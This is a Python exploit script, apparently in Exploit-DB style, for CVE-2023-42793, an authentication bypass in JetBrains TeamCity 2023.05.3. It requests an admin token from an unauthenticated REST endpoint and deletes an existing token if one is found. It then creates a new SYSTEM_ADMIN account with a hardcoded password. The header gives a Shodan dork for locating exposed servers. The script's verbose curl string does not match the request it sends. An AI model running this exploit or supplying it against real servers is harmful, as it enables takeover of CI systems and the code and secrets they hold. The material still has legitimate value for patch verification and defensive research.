#- Exploit Title: JetBrains TeamCity 2023.05.3 - Remote Code Execution (RCE) #- Shodan Dork: http.title:TeamCity , http.favicon.hash:-1944119648 #- Exploit Author: ByteHunter #- Vendor: JetBrains #- Email: 0xByteHunter@proton.me #- vendor: JetBrains #- Version: versions before 2023.05.4 #- Tested on: 2023.05.3 #- CVE : CVE-2023-42793 import requests import argparse import re import random import string import subprocess banner = """ ===================================================== * CVE-2023-42793 * * TeamCity Admin Account Creation * * * * Author: ByteHunter * ===================================================== """ print(banner) parser = argparse.ArgumentParser(description="CVE-2023-42793 - TeamCity JetBrains PoC") parser.add_argument("-u", "--url", required=True, help="Target URL") parser.add_argument("-v", "--verbose", action="store_true", help="verbose mode") args = parser.parse_args() url = args.url if url.startswith("https://"): curl_command = "curl -k" else: curl_command = "curl" get_token_url = f"{url}/app/rest/users/id:1/tokens/RPC2" delete_token_url = f"{url}/app/rest/users/id:1/tokens/RPC2" create_user_url = f"{url}/app/rest/users" create_user_command = "" token = "" response = requests.post(get_token_url, verify=False) if response.status_code == 200: match = re.search(r'value="([^"]+)"', response.text) if match: token = match.group(1) print(f"Token: {token}") else: print("Token not found in the response") elif response.status_code == 404: print("Token already exists") delete_command = f'{curl_command} -X DELETE {delete_token_url}' delete_process = subprocess.Popen(delete_command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) delete_process.wait() delete_output = delete_process.communicate() if delete_process.returncode == 0: print("Previous token deleted successfully\nrun this command again for creating new token & admin user.") else: print("Failed to delete the previous token") elif response.status_code == 400: print("Token already exists") delete_command = f'{curl_command} -X DELETE {delete_token_url}' delete_process = subprocess.Popen(delete_command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) delete_process.wait() delete_output = delete_process.communicate() if delete_process.returncode == 0: print("Previous token deleted successfully\nrun this command again for creating new token & admin user.") else: print("Failed to delete the previous token") else: print("Failed to get a token") if token: headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } random_chars = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(4)) username = f"city_admin{random_chars}" data = { "username": username, "password": "Main_password!!**", "email": "angry-admin@funnybunny.org", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]} } create_user_command = f'{curl_command} --path-as-is -H "Authorization: Bearer {token}" -X POST {create_user_url} -H "Content-Type: application/json" --data \'{{"username": "{username}", "password": "theSecretPass!", "email": "nest@nest", "roles": {{"role": [{{"roleId": "SYSTEM_ADMIN", "scope": "g"}}]}}}}\'' create_user_response = requests.post(create_user_url, headers=headers, json=data) if create_user_response.status_code == 200: print("Successfully exploited!") print(f"URL: {url}") print(f"Username: {username}") print("Password: Main_password!!**") else: print("Failed to create new admin user") if args.verbose: if response.status_code == 400: pass else: print(f"Final curl command: {create_user_command}")